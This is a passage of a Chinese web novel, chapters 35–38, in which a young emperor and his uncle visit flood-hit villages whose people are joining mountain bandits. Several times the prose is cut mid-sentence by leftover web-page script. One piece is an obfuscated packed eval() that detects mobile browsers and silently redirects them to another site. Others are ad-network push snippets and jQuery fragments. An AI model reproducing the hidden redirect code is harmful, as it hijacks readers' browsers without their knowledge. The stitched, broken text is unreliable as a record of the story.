“哎呀。”高颉一边往那边赶,一边嘴里还喋喋不休道:“陛下,不是我说,现在这片不是很太平,您怎么把宋大人一个人放在哪,而且宋大人还生着病,万一碰到......” "确实不是很太平。"沈翊突然打断他,问道:“这片怎么了,是有山匪?” 高颉默了默,自己说的话,这小皇帝压根就只听了前半段,而自己的这侧重点好像也跟着偏了,他想了一会儿,道:“其实臣也不太了解,臣只是刚来的时候,臣要去山上勘探地势,然后那些村民告诉臣的,所以臣每次上山,背包里总会多点东西防身。” “宋大人。” 高颉在看到宋闻璟的第一眼,便立马飞奔了过去,连叫了好几声,才终于把人堪堪唤醒。 宋闻璟不适地皱了皱眉,等意识重新积聚时,身体就像是从好几米的空中摔下来一样,变得更痛了。等渐渐适应这阵疼痛,他缓缓睁开眼,模糊的视线中渐渐映出高颉清晰的脸颊,他恍惚了一下,似乎还未从梦中脱离。 高颉看着宋闻璟迷迷糊糊的样子,又轻声叫了一遍。 宋闻璟回过神,刚想张开嘴回复高颉一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665835|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,却只觉得嗓子里被人塞进了刀片,只是往下咽了口唾沫,嗓子便觉得火辣辣地痛。 宋闻璟只好摇了摇头,随后高颉慢慢扶他起身,又担忧道:“没事吧,你怎么也出来了?” 宋闻璟低着头,眼中的黑影还在断断续续闪现,高颉的话也是没听见去一点,而站在旁边的沈翊,却好心回道:“皇叔自然是想你,要不然也不会跑这么远来找你。” “真的假的?”高颉还真有点不信,从前宋闻璟也没这般把他放在心上,更何况宋闻璟也是个不喜欢出远门的人,现在竟还会自己跑过来找自己,那真是太稀奇了,甚至是奇怪。 沈翊看着高颉皱成一团的小脸,不禁轻笑了一声:“这有何假,人已经在这了,不过,你要是再不救,可能这就是最后一面了,这后面的事......” “救,自然要救。”高颉瞬间清醒过来,低头看着靠在自己身上摇摇欲坠的人,高颉二话不说背起人就往回赶,而身后的小厮本也想急匆匆跟上去,可刚想迈出一步,似好像又想起了什么,随后往旁边挪了一步,恭敬伸出手,赔笑道:“陛下先走。” 沈翊在后面想事情想的刚出神,而后又被小厮的叫喊声拉回思绪,轻声“嗯”了一下,便跟着高颉一路留下的步子,往前走了。 这里距村子不近,四人又走了一段路,视线中才渐渐出现一个个稀疏的屋顶和几缕白烟,可走进一看,在屋外还建了很多棚子,一个挨着一个的,像一座座小山丘。 高颉背着宋闻璟,一边往那边跑,一边大喊大叫着孔左的名字。 远处,孔左手里熬粥的动作一顿,随后闻声抬起头看过去,高颉跑的脸都红了,气喘吁吁地跑到孔左面前,大口喘着气道:“先别干了,先救人吧。” “什么?” 还没等孔左看清那人的面孔,高颉便立马转头将人带进了屋子。 无奈,孔左只好先将手里的活交给旁边的人,随后也跟着走了进去,可当走进去时,屋子不知道何时又走进来两个人,孔左还没等走过去询问,高颉便先一把眼疾手快地拉他过来。 “你快给他看看。” 孔左看着眼前人蓦然眼睛一亮,嘴里不知呢喃了一句什么,便从若地略过高颉坐到床边给宋闻璟看诊。 不过一会儿,孔左不禁皱了一下眉,可把站在旁边的高颉吓了一跳,高颉急忙问道:“怎么了?” 闻言,孔左抬起头看了高颉一眼,道:“没什么,一会我给你写个药方,你去隔壁镇上多买点回来。” 高颉点点头,随后走到沈翊面前道:“陛下,臣一会要去附近的镇子上,要不然您去镇子上歇一会儿吧。” 沈翊问:“你去镇子做什么?” 高颉解释:“这里物资供不应不足,很多东西都要去镇上买的。” “怎么会没有供应呢?”沈翊不解,明明已经调动了附近的镇子接济,朝廷也分出一部分资源来救急,怎么到这里什么也没有了呢? 35.第 35 章 很怪。 高颉也道:“因为这大水破坏了这里不少的村庄,也导致了粮食,药材和布料价格的暴涨,人人都说物以稀为贵,这根本就是强盗啊!” “虽然确实是有人捐了一点东西来,但总说是没有上面的指示,捐这些已经仁至义尽,臣本想没多想,本想再等等朝堂的赈灾粮,可左等右等也没看到影子,后来臣写了封信,不知道陛下看见了没有?” 高颉动作一顿,随即猛地一拍手,“因为陛下看见信了,所以才来的,对吧。那是不是该带了一堆人来,还有好多东西,在哪呢?臣现在安排人去拿。” 高颉说完,突然“嘿嘿”了两声,还不忘再讨好两句:“陛下想的就是周到,居然还亲自来了。” 沈翊看着他,一时不知该说什么,他抬起手轻轻拍了拍高颉的肩,问道:“你什么时候发出去的?” “好像是五天前吧。”高颉晃了晃脑袋,“应该是,感觉已经寄出很久了。” 沈翊想了想,五天前寄出,到宫中也得花三四天吧,那时候自己好像早就跑出来了。 “不是,朕还没收到。”沈翊有点心虚道,“那时候朕已经不在宫里了。” “什么?”高颉有点糊涂,“那......信......那陛下来干什么......” “朕?”沈翊不屑道,“朕当然是来追债的。” “债?”高颉摸了下脑袋,不禁疑惑道:“什么债?这谁还能欠您的债啊?” 闻言,沈翊不禁抬眸瞧了他一眼,随后笑道:“这......这欠债的人倒是多了,宋大人欠了朕七百万两,朕不应该看的紧一点吗?再说他要说这个来看你的借口跑了,高大人能替他还了吗?” “啊?”高颉笑了,“陛下真是说笑了,这冤有头债有主的,臣不好插手。再说,臣要先去镇上买东西了,臣先走了,您有事找孔大人吧。” 高颉说完,笑容僵在脸上,转身就往外走,可没走几步,步子变得越来越快,生怕这七百万两落在他头上。 这边沈翊刚喘口气,孔左又迎了上来,恭敬行礼后,抬头看见沈翊有些憔悴的脸,道:“陛下这些天可是没有休息好?不妨先去臣的房间休息一下,臣一会看看还有没有空余的房间,让他们打扫一下。” 说罢,孔左打开房门带着沈翊走了出去,外面的一切被白雪覆盖,好像也把洪水曾来过的痕迹抹掉。 很意外,这里聚集的人却很多,他们走在路上,脸上总是有一丝淡淡的忧伤,就连笑都有些无奈,可每个人却又都在准备一个新的家,一个生活。 大水好像看似冲掉了一切,却也带不走一些东西。 没过多久,孔左带着沈翊去了个小房子,房间虽不太,但一开门便有一股热流迎面扑来,很温暖。 孔左道:“陛下先休息一会吧,等晚上,臣再来叫您。” 沈翊点点头,刚在床上躺下,或许因为这温暖的环境,很快便沉沉入睡了。 直到到了夜晚,沈翊是被饿醒的,一出门便看见高颉供着身子不知道在干什么,他静悄悄走过去,高颉扭头被吓了一跳,又有点抱怨道:“可吓死我了,你走路没声啊。” “你在做什么?”沈翊略过高颉说的话,问道。 高颉握了握冻的发红的手,“没什么,无事搞点小东西。” “哎,陛下怎么醒了?”高颉立马扯开话题,道:“我们刚刚吃过饭,陛下饿了吗?” 话音刚落,沈翊有点不满,“你们吃饭怎么不叫着朕。” “啊?”高颉顿了顿,“可......陛下不是在睡觉吗?我们没敢叫您。” 沈翊道:“那朕现在饿了。” 高颉点点头,“哦,好。那臣现在去厨房给陛下瞧瞧。” 说罢,高颉转身走去。外面微微亮着光,从窗纸透出来,各家各户的屋子里还都亮着光,走在路上偶尔能清楚屋里人都对话,沈翊从房间出来,便一直往前走,这块地方不大,各个房屋位置交错,松散的聚在一起。 沈翊没走几步,都会碰见几个陌生的面孔,他们打量着沈翊,又小声私语着,好像对沈翊这个外来人充满了好奇。 “孔大人。” 孔左刚从房间里走出来,便看见又有几个村民围了上去。 “孔大人,我家小女不知怎的又起烧,您能不能去看看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 孔左点了点头,自从来到这里,孔左靠着从小学习的医术莫名成了这里的小郎中,就连他和高颉到这里的主要任务,他都快要忘了,每天不是在看诊的路上,就是在看诊。 天灾过后,疾病频发,有人或许可以幸运的躲过天灾,却也极有可能掉进疾病的生死圈,从开始到现在,早就数不清有多少人为此丧命了。 说罢,几个村民急忙簇拥着孔左过去,而沈翊在远处静静地看着一堆人从自己眼前走过,随后转身推开了自己背后的门。 屋里,宋闻璟人已经醒了,整个人却蒙在被子里,只露出一头的长发,耳朵听见推门声,还以为高颉来了,长了张口,哑着嗓子道:“我不吃饭,你出去吧。” 过了良久,听见外面没了声音,宋闻璟刚打算松了一口气,抬手揉了揉发酸的眼睛,却没想到,就在这一间隙里,光亮猛然闯进他的视线中,宋闻璟眼疾手快地立马把被子拽回来,闷闷不乐地问道:“你干什么?我都说不吃饭了。” “朕可不是高颉。” 头顶上突然冷不丁传来一阵熟悉的声音,“醒了,怎么还蒙着被子,又闷坏了可怎么办?” 宋闻璟不说话,在被子里又偷偷摸摸翻了个身,背对着他。 沈翊不解,又尝试了好几次掀开宋闻璟的被子,谁知宋闻璟拽的紧,不忘用被子把自己卷起来,沈翊也不再掀了,便坐在床边道:“那朕不动了。” 话音还未落,宋闻璟又往上整了整被子,渐渐安静下来。 沈翊扭头看了他一眼,被子里宋闻璟刚刚缓过来,刚想开口回句话,谁料沈翊又悄悄地卷土重来,宋闻璟还没来及反应过来,刺眼的光便硬生生地打了过来,宋闻璟下意识被迫闭上眼。 而沈翊看着宋闻璟脸上的那一抹绯红和几行残留的泪痕,而原本发红的眼眶含着那几滴清泪,也因为这一闭瞬间流下来。 这么可能呢?奸臣从来都不会哭,哭只有别人。 最起码,他从来没有见过奸臣哭。 沈翊一时间开始怀疑自己的眼睛,整个人半信半疑,感觉自己还没睡醒,他不可置信问道:“你......是不是哭了?” 36.第 36 章 宋闻璟趁机抬手摸了一把泪,又偷偷将头往枕头里埋了埋,依旧嘴硬道:“才没有。” “那......” 沈翊顿了两秒,随后又把手里的被子不动声色地盖在宋闻璟身上,真是奇了怪了,以前不是还好好的吗? 怎么出来一趟就变了性子?奸臣就是奸臣,这性子真是难揣摩。 盯着宋闻璟身上那补了不知道多少次的被子,沈翊也不知道该说什么,毕竟他还没反应过来。 没过多久,一阵熟悉的推门声再次响起,高颉端着一碗冒着热气的粥差点和沈翊迎面撞上,高颉不禁后退了两步,抬头看着沈翊道:"陛下你怎么在这,臣还在到处找你呢,正好厨房里还剩了一碗。" 说罢,高颉将手里的碗递到沈翊跟前,又笑嘻嘻道:“陛下别嫌弃,就这条件将就喝吧。” 沈翊刚接过来,高颉便赶着往里走,搓了搓冻的冰凉的手,又问道:“宋大人又睡了吗?他刚刚醒了喝了药,现在又睡了?” “嗯......” 沈翊本来都有点饿过头了,但看着这白稠稠热乎乎的粥,几乎是刚在手里就往嘴里塞,连带全身的注意力也一并夺走了,对高颉的话五分也就听了一分,高颉都不敢相信,自己就是转了个头,小皇帝就把这个空碗递在自己面前。 “啊?” 高颉看着空空如也的碗,莫名有点心疼,说不定这米还能煮一次,现在物价这么高,朝廷的赈灾粮到现在还没到手里,这一斤米,一斤粮,那个不是他自己出钱买的,家底都快被掏空了,就连这几年辛辛苦苦攒的彩礼钱都赔进去了,出个任务直接把家搭进去了,也太亏了,这笔钱不得给连本带利的找小皇帝讨回来。 高颉越想越有点生气,接过碗,看着面前正准备擦嘴的小皇帝,高颉笑道:“陛下,臣想问一件事。” “什么?” 沈翊皱了下眉头,不解道。 “就是,这次回去能赏多少银子?”高颉突然拔高声音,解释道:“陛下,你知道的,这里这么难,能有现在的条件,可都是臣掏的钱啊,现在臣都把钱搭在这里了,回去您不该都给臣返回来吗?” 感受到高颉强烈的目光,沈翊抬眸瞧了他一眼,高颉这摆明了是在跟自己记明账,沈翊笑了笑:“当然了,如果高大人能出色地完成朕交给你的任务,等高大人回京那日,朕必定命人准备黄金百两赏赐给高大人,还要给高大人摆宴接风洗尘,让高大人好好风光一把。” “真......假?” 这四个字把高颉敲的头昏脑胀,高颉一时没反应过来,想着如果拿到这黄金百两,他一定辞了起的比鸡早,干的比牛累的官位,而且走之前还要摆个宴给他装,这不得狠狠气死那些看他不顺眼的人。 想了一遍,高颉感觉浑身来劲了,美好的未来在等着他。 “哎呦,陛下真是太好了,臣怎么敢当啊。”高颉一边说,一边嘴角都要咧到耳根后了。 高颉沾沾自喜着,孔左不知何时抱着一床被子走到两人身边,高颉立马不笑了,这好消息可不能让别人知道了,这可是自己求来的。 孔左瞧了高颉一眼,总觉得高颉有些奇怪,但又想了想和高颉相处的这些日子,这人好像又一直是这样的,一阵一阵的,总是傻里傻气的。 孔左不再想他,摸了摸自己手里的被子,看着沈翊道:“陛下,这是从村民手里借来的被子,委屈您在这住一晚了,等高大人明日送您和宋大人去了镇子就好了。” “臣没告诉那些村民陛下的身份,陛下还是尽快走吧。” 孔左又多嘱咐了一句。 沈翊不解,“为什么?” “嗯......” 高颉轻轻推了孔左一把,又把孔左手里的被子拿了过来,转身就往床上开始铺,又道:“陛下委屈挤挤吧,就一晚。” 被子铺到一半,抬头看见宋闻璟睡得都把头盖上了,怕宋闻璟睡得不舒服,高颉刚把被子往下拉来,便看见一双明晃晃的眼睛静静地看着他。 高颉瞬间被吓了一跳,立马跳开了半步,身后的两人也被高颉这一动作吸引了过去。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “你......你没睡呢?怎么不出声?” 宋闻璟缓过心里的那阵不适,随后慢悠悠坐起身,看着高颉轻点了下头,轻声道:“醒了。” “啊?醒了怎么不喊我。”高颉走过去,看着宋闻璟还有点微微发红的脸,不禁抬手摸了下宋闻璟的额头,小声嘀咕道:“应该不烧了吧。” 宋闻璟摇摇头,“不烧了。” 高颉点点头:“那就好,还是喝了药管用。” 宋闻璟扭头扫视了一眼周围,不禁问道:“这里是哪?” 很简陋的屋子,土墙土炕,就连下床活动的地方也很小,连张桌子都没有,就像是刚建成屋子的雏形,没有丝毫装饰。 “这里是......” 高颉一时也不知该怎么解释,这就是个废弃又微微修缮过的房子。身后,两人走向去,还没等高颉说个一二,沈翊替他道:“这就是你心心念念高大人住的地方。” “嗯?” 高颉突然被点名,好像脑袋里灵光一闪,紧接着突然想起了什么,随后坐在床边一把抱住宋闻璟,声音有些颤抖道:“下官真没想到,大人竟对我这么好,居然不远万里来下官,下官就知道大人是个嘴硬心软的人,大人肯定知道下官在这里吃不饱穿不暖的,受了委屈,才来看下官,对吧,其实下官都知道。” “什么?” 宋闻璟没太听懂高颉在自我感动什么,但感情都到这里了,宋闻璟抬手拍了拍高颉地后背,低声道:“其实真是误打误撞......” 高颉趴在宋闻璟肩膀上哭的真切,好像要把这一段时间受的委屈一口气倒个一干二净,丝毫没听见宋闻璟低声的呢喃。 “高大人,够了。”孔左在身后提醒道,“你再这样宋大人可没办法休息了。” 高颉不听,甚至还脸贴脸蹭了蹭宋闻璟,像极了一个粘人的修勾,赖在宋闻璟身上不下来了。 见高颉没反应,孔左刚想出手把高颉拉走,便听见高颉开始耍脾气道:“今晚我要和宋大人睡,你去跟陛下睡吧。” 37.第 37 章 闻言,孔左抬头偷偷瞧了沈翊一眼,平静俊俏的脸上明明看不见半分波澜,可孔左还是觉得自己像被莫名烫了一下,急忙移开自己的目光,心里突然紧了一下,和自己的大老板独处一室,还真有点不适应。 而此时还赖在宋闻璟怀里的高颉,还沉浸在宋大人百年难得一见的温柔乡里,丝毫未察觉自己背后的两道目光。 孔左伸出手刚想把高颉从宋闻璟怀里拽起来,旁边的小皇帝却突然发话道:“既然高大人还有话没说完,那今晚朕就和......” "等等。" 还未等沈翊说完话,高颉只觉得脖子让人紧紧一勒,整个人往后倒去,“啊?” 两人身高都差不多,孔左一只手拉着高颉的衣领,一边慢慢向门口移动,等高颉反应过来,只听见一阵沉闷的关门声回荡在耳畔。 “你......” 高颉摸了两把脸,擦掉脸上还挂着的两道泪痕,挣扎了两下身子,从孔左手里挣脱,“你......你干嘛!” 孔左拍了拍手,扭头给了高颉一个冷淡又似乎带着一股挑衅的眼神,语气轻佻道:“我没干嘛啊。” "那你......你把我拽出来干什么?"高颉感觉自己要被气死了,他不禁朝孔左面前走进了几步,垂下的手不知何时慢慢攥成了拳,恨不得把人打一顿消消气。 可孔左站在原地连眼皮都没带眨,他静静看着高颉慢慢向自己靠近,不由得笑了一声:“既然你不愿意,那你再进去。” 相处这么久,高颉什么脾气,自己也算摸得清楚,虽然高颉也算处于高位,可他手下的小官员却也不怕他,相反高颉更像个有名无实的小官员。 虽然孔左也是高颉手下其中的一个官员,但孔左却一点都看不起高颉,若不是高颉背靠宋闻璟才得提拔,要不然高颉现在的位置说不定就是自己的了。 对于孔左的敌意,高颉从第一天任职就看出来了。 在满屋的人都围在他身边阿谀奉承的时候,只有孔左站在远处,一双眼睛恶狠狠地瞪着他,硬生生给高颉吓出一身冷汗,此后,高颉有事也不敢去找孔左,即使孔左是他的副手,但一想起那双想要了自己命的眼睛,高颉还是会选择避开孔左。 两人的关系不好,在工部里也算是人尽皆知的事情,但人人也不敢随意偏向一边,生怕第二天小鞋就穿在自己身上了。 “嘁。”高颉走到他跟前,仰起头,居高临下地看着他,“谁怕谁!我告诉你,现在我后面可是有人的,你少跟我在这这么说话!” 孔左颇为嫌弃地看了高颉一眼,随后装作没听见就往前走,徒留高颉一个人站在原地。 高颉回头看了一眼紧闭的木门,又恋恋的不舍地离开,要是今晚真能留在这里过夜,高颉真不知道自己能有多高兴。 毕竟,这么多年,这是他离宋闻璟最近的一次。 见孔左越走越远,高颉无奈只能跟过去,可看见孔左这副盛气凌人的样子,心里是有一万个不服气,高颉挠了挠头,装作不在意道:“你不喜欢小皇帝啊,为什么不愿意和小皇帝将就一晚?” 高颉疾步凑到孔左旁边低下头,像听八卦一般,但孔左不说话,也不搭理他。见孔左没反应,高颉脑回路突然一转,一把揽过孔左倒肩膀,有点沾沾自喜道:"难不成这么多天和我睡习惯了,离不开我了?现在知道我的好了?" “但这可不行啊,万一你跟我睡出感情,我可不负责啊。” “而且,你要想啊,你这是错过一个升官发财的好时机啊,要是今晚上你把小皇帝伺候好了......” 高颉在旁边自顾自的地说着,温热的气息时不时擦过孔左的脸颊,孔左抬手往旁边推了推他,高颉也不知道是故意恶心他的还是讲的太投入,身子不停地向这边靠。最终,孔左忍无可忍,双手用力一推,高颉不受控制地往后倒退了两步,差点摔在地上。 “你又干嘛?” 高颉不解地看向他,孔左却突然笑了笑:“你要是不愿意,今晚你就睡这街上吧,我也没逼你非要和我睡一起。” “啊?你这人真不讲道理,你......” “道理?要讲什么道理?高大人会讲什么道理?” 不知为何,高颉看见孔左的眼神变得越来越犀利,恍惚间,好像又看到了记忆中的那双眼睛,高颉不由得顿了一下,随后摆了下手,故作轻松道:“时候也不早了,我要回去睡觉了。” 高颉也不明白,自己到底哪里是让孔左看自己看不顺眼了,他都已经做的这么好了,也尽量避开孔左这么久了,怎么这人还这么讨厌他? —— 第二天天一亮,外面便响起了此起彼伏吵闹的声音,沈翊被吵醒睁开眼,看着身边把自己缩成一团还在熟睡的人,沈翊丝毫不客气地将人硬生生拍醒。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >宋闻璟迷迷糊糊地睁开眼,听着外面的吵闹声,静了两秒,问道:“已经很晚了吗?” “不晚。”沈翊摇摇头,随后下了床,走到外面看着已经开始在忙碌的人群。 而宋闻璟看见沈翊走了出去,眼皮又开始不受控制地往下落,本想再偷着睡一会儿,却没想到沈翊半路又回来了,宋闻璟只好强撑着精神,睁着大大的眼睛看着他。 “皇叔怎么还不起,外面都已经忙起来了。” 沈翊一边说,一边去把宋闻璟拉起来,宋闻璟点头答应着,身上一点动作都没有,随后被沈翊半拉半扯从床上弄下来。 宋闻璟纵使在心里有一百个不愿意,但也不好意思表现出来,毕竟,大家都在忙,自己也不好意思偷懒。 两人走在路上,宋闻璟跟在沈翊身后,问:“我们要去哪?” 沈翊道:“过一会儿,要去镇子上。” “好。”宋闻璟点了点头,刚想准备偷偷打个哈欠,不知是那个冒失的家伙,在后面紧紧拽着他的披风不撒手了。 宋闻璟回头,一个小女孩一双亮晶晶的眼睛不停来回地摸着他的披风,宋闻璟低声问:“你在做什么呢?” 闻声,小女孩瞬间放开手,脸颊红红的,有些不好意思地看着他道:“哥哥,你这披风真漂亮,在哪里买的呢?我也想给娘买一件。” 宋闻璟低头看了看自己身上的披风,还没等开口,一个女人便急匆匆地跑了过来。 “小佟。” 女孩抬起头,笑盈盈地看着那女人,道:“娘,以后小佟长大了也要给娘买一件漂亮的披风。” 女人不禁笑了笑,伸手摸了摸小佟的头顶,随后抬头看向两人,道:“听孔大人说你们也是逃难的?” “嗯?” 女人笑道:“没关系的,要是你们不嫌弃,可以先在这里住下。” 宋闻璟有点疑惑:“这个……” “确实。” 沈翊突然开口道:“我们兄弟俩,本想去投奔亲戚,没想到半路遇到了山匪,差点命丧于此,幸好遇到了高大人,我们才为此得救。” “山匪?”女人听到这两个字,眼神明显亮了一下。 沈翊点点头,“对啊,这附近好像不太安全。” 女人笑笑:“这怎么会呢。” “那其实不是山匪,很多都是我们这的村民,他们是为了保护我们的。” 38.第 38 章 天灾人祸,战乱纷起,在这外忧内患的时代,百姓流离失所,边境岌岌可危,这是一个朝代走向衰亡的表现,至于具体还能撑多少年,这一直是个未知数,或许在下一秒,便将发生一件能够翻天覆地的事情,将这个朝代彻底燃烧殆尽。 可这一团火,并不是突然燃起的,而是蓄谋已久,有备而来,他们绝处逢生,在水深火热的世间,凭着自己顽强的意志,只为给自己闯出一条生路,即便这条生路是条不归路,却还是有许许多多的人前仆后继地走上来。 山匪是好人? 山匪为什么在百姓眼里成了能庇护他们的人? 很奇怪, 因为山匪从人们有意识时,就被传输一种山匪是坏人的信息。 人们既害怕他们又厌弃他们,这就像个不定时炸弹,不知道什么时候会爆发,从而危害到自己。 看到两人脸上不解的神情,女人笑了笑,似打趣道:“你们这些外来人可能不知道我们这地方。” 宋闻璟不禁也跟着客气地笑了一下,反问道:“这村子里的人是都去山上当了山匪?” 女人顿了一下,歪头思索了一番,才慢慢开口道:“其实也没有,这山匪招人还有条件的,我们这些有些不符合条件的,还有是想继续留在这里的。” “条件?”沈翊觉得有些好笑,“当土匪还要什么条件,这又不是招兵,用这么严格?” 女人摇摇头,“这个我们不太清楚,前几年村子来了一群人,在这住了几个月便走了,后来,村子遭了大水,我们都以为这些人都走远了,却没想到,大水退去的几天后,几个瞧着眼熟的人居然来了,而且,他们说只要被招上的人都能领一袋粮食回去,而且以后的每个月还有补贴送到家里,被选上的人还能在那好吃好喝地待着,冻不着饿不到,这条件搁谁谁不心动。” 女人说着,脸上也跟着不自觉笑起来,“我们村里几乎一半的人都去,后来,果不其然真的有钱寄过来,而且数目还不小。” 宋闻璟问:“没想到居然还有这样的好事,那现在他们现在还在招人吗?” 女人道:“好像还在招,我们这几个遭了大水的村子,都有这告示。” 说罢,女人又摇摇头,“但要是还有别的出路,还是不要去了,几天前,隔壁村子有一个年轻人才去了半天,不知道犯了什么错,就被人打死送了回来,可怜他那新过门的小媳妇,年纪轻轻就守了寡,甚至后来那山匪还想抢了那小媳妇上山......” 沈翊不解,又问道:“知道这些山匪不是好人,为什么还有那么多人去报名?” “这......”女人无奈道:“没办法,我们没有出路了,那时候大水冲毁了庄稼,而且身上的几分钱根本就不够一家人吃饭的,能走的都走了,我们实在没办法,才选择去投靠了山匪,其实说实话,我相公也在那里,自从去了那里便没有了消息,我们想去找,可那些人却从没告诉过我们在哪里,我们每月拿着不知道从哪里寄来的钱,心里也越发担心。” 说罢,女人又气愤道:“还有这朝廷,说不好听的,就是派两人来糊弄我们的,说着给我们治大水,其实就是个幌子,这么多年,朝廷从来没管过我们生死,那大人说着过几□□廷的物资就下来了,到现在连个影子都没有,要我说,那当官的都自己享福去了,早把我们给忘了。” 话音落,空气莫名安静了两秒钟。宋闻璟刚想开口狡辩两句,远处便传来高颉大声地惨叫,活生生将四人的目光移了过去。 孔左用力捏了一把高颉的胳膊,带着警告意味的语气,似恐吓高颉道:“说了多少遍,在这不要喊陛下,你脑子是不是落在京城了,你想害死我们吗?” “我......”高颉委屈地揉了揉痛处,小声反驳道:“我这不是忘了,再说,都这么叫顺口了。” “你.....你真是个傻子。”孔左骂道。 两人一边小声争执着,一边从远处走过来。 女人象征性地朝两人点了点头,随后便带着小女孩离开了。 宋闻璟看着满脸吃了亏的高颉,不禁担忧道:“你怎么了?” “我?”高颉一愣,随即反应过来,跑到宋闻璟身边,抬头看了一眼孔左,刚想控诉孔左相当恶劣的行为,却又看到孔左一脸不难烦地扭过头去,想到孔左好像也没有做错,要是沈翊身份爆出来,连带我们这几个人也得受一顿打骂,这样好的机会,谁不想打一顿泄泄气,更何况说出去,这简直还能吹一阵。 回过神,高颉笑了笑,道:“我没事啊,我能有什么事。” 宋闻璟问:“那......你刚刚叫什么?” “哎呦,我......”高颉想了半晌,随后顺势拉上宋闻璟的胳膊向前走,“能有什么事,早饭好了,一会吃完饭,我送你们到镇子。” 宋闻璟点了点头,又扭头看了沈翊一眼,便跟着高颉走了。 身后,孔左刚要跟着往前走,旁边沈翊却叫了他一声,孔左身子蓦地一顿,又闻声看过去。 沈翊问:“有人在这私自招人,为何不上报?” 孔左不自觉地低下头,沉默片刻,便道:“这......这臣不清楚,村民也没透漏很多。” “你不清楚?”沈翊继续道,“是不清楚,还是不想说?” “这......”孔左一下被噎了一下,一时不知该说什么。 看着孔左这副样子,沈翊心里倒也明白了几分,他突然笑了一声,“何必再瞒下去,事情已经这样了,朕又不会拿你怎么样。” 闻言,孔左缓缓抬起头,不禁叹了口气,看着沈翊无奈道:“其实臣与高大人刚到时,村子里的人都已经走的差不多了,留下来的村民,也都无视我们,甚至不把我们放在眼里,还想把我们赶出去,最后还是高大人一边出钱一边出粮才慢慢说服了村民,我们便留了下来。” “这......其实高大人有好几次都去寄过信,但邮驿那边的人总是有借口推辞,即使说已经寄出去了,但最后总是得不到回应。” 孔左说着,时不时抬头看向沈翊,直到看到沈翊较为缓和的神情,孔左才慢慢开口道:“陛下,从前宋大人执政,虽不怎么管这些民生困苦,但也不见百姓挑头闹事,以为各地方官员都治理有加,若真实来看,倒不如是靠着强制镇压的手段来平民愤,即使现在看起来好像是将暴乱铲平,实则也是危机四伏。” 话音落,沈翊看向孔左,嘴角挂起一抹浅笑,似询问道:“那你说该怎么办?” —— 吃过早饭,高颉如约把两人送到镇子上,走之前,高颉还不忘厚着脸皮问宋闻璟多要几两银子,宋闻璟出门带的银子不少,也生怕在自己逃走后没钱吃饭,没钱住宿,随后便分了一半的银子给高颉,高颉握着银子还没在手里捂热乎的,沈翊又从他手里顺手摸了一半的银子拿了过来。 “你......”高颉疑惑地看着他,“光天化日抢钱啊!” “不对不对。”沈翊摇摇头,“这不是抢钱,这本来就是我们的。” 高颉伸出手,不解道:“什么时候?我还得靠这几分钱在这混呢,陛下可别开玩笑了,等回去,您想要多要都行。” 宋闻璟道:“陛下,我这还有钱呢。” 沈翊瞧了他手里瘦小的钱袋,问道:“还有多少啊,这点钱当路费,后面饿着回去吗?” “嗯.....”宋闻璟晃了晃手里的钱袋,确实少的可怜,他问道:“陛下出门带钱了吗?” 沈翊回答地迅速:“没带。” “更何况,朕出门只有两件事,带这么多钱做什么。” “要不然我们先借高大人的,等到了......” “哎呀,我突然想起还有东西要买,我就送你们到这吧。” 高颉挥了挥手,随后转身跑的没影了。 看着高颉走了,宋闻璟扭头刚想问沈翊什么时候走,沈翊却不急不慢地转身走在街上,甚至还顺手买包栗子糕往嘴里塞着,丝毫一点着急的样子都没有。 街上人流稀疏,连带烟火气都少了,宋闻璟往前跑了两步追上沈翊,沈翊自顾自地吃着,连一个眼神都忙的没给宋闻璟。 宋闻璟问他:“我们什么时候走?” 沈翊咽下嘴里的栗子糕,慢悠悠回道:“我们能走吗?” 宋闻璟不解:“什么意思?” 沈翊道:“说不定现在有人正在外面等着我们呢,你还记得山上绑架我们的那个人吗?他死了。” “现在说不定早就有人围了这个镇子。” 宋闻璟有点怕了,“你......做的?” “我做的吗?我不记得了。”沈翊笑笑,“但我好像看见皇叔的腰牌落在那里了。” “他们可能现在正在找你呢。” 闻言,宋闻璟匆忙摸了摸腰间,除了孤零零的钱袋,好像也没有东西了。 他抬起头看向沈翊,沈翊却不在意地又往嘴里填了一口栗子糕,像个局外人一样,宋闻璟不禁有点气愤地质问他道:“你是故意的,你为什么不告诉我?你为什么要栽赃给我!” “怎么会呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯?”宋闻璟刚睡醒有点没反应过来,愣愣道:“没……没有啊。” “没有吗?”沈翊又问道:“皇叔那你饿了吗?你想吃什么我帮你去买。” 面对沈翊突如其来的关心,宋闻璟此时还迷迷糊糊的意识也被惊醒了半分,他看着沈翊那张在暗处模糊不清的脸,不禁发问道:“你想做什么?” “这个……哈哈哈。”沈翊笑了笑,“哪有想做什么啊。” “我就想问一下皇叔饿了没有,顺便再问一下,皇叔的钱袋放在哪了?我怎么没找到啊。” “你要钱做什么?”宋闻璟问,“我们就只剩下这些了。” 沈翊笑道:“我知道的,我绝对一分钱不花,就只是单纯借用一下。” “借用?” “真的真的,明天就还给你。”沈翊又问:“皇叔你放哪里了? “我……”宋闻璟从枕头下慢悠悠拿出钱袋,还没等开口说完话,沈翊便一把抢了过去。 “谢谢皇叔了,这个我明天用完就还给你。” 沈翊见拿到钱袋,半分样子也不装了,立马挥了挥手走出了屋子。 